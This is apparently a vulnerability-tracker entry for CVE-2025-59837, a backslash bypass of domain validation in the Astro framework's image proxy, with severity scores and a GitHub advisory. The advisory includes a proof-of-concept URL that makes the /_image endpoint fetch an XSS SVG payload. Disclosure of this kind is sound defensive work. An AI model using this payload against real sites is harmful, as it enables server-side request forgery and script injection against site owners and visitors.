CVE-2025-59837

highpriority · track · 29EPSS 0.004 · 29 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.35% (29th) EPSS
CVSS 7.2 · high
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-27

Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.2
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–7.2

v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 2.7
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · ENISA EU
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 2.7
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · OSV
v3.16.6mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

CWE-79USCWE-79USCWE-918USCWE-918US
04

affected products (3)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-qcpr-679q-rhm2Astro's bypass of image proxy domain validation leads to SSRF and potential XSS2025-10-28ghsa · osvUS

    ### Summary This is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\`) - the endpoint still issues a server-side fetch. ### PoC [https://astro.build/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

cnnvdenisa_euvdnvdosvNVDCVE.orgMITRE
published 2025-10-28modified 2026-06-17
08

references (11)

External citations — patches, advisories, analysis.

scry

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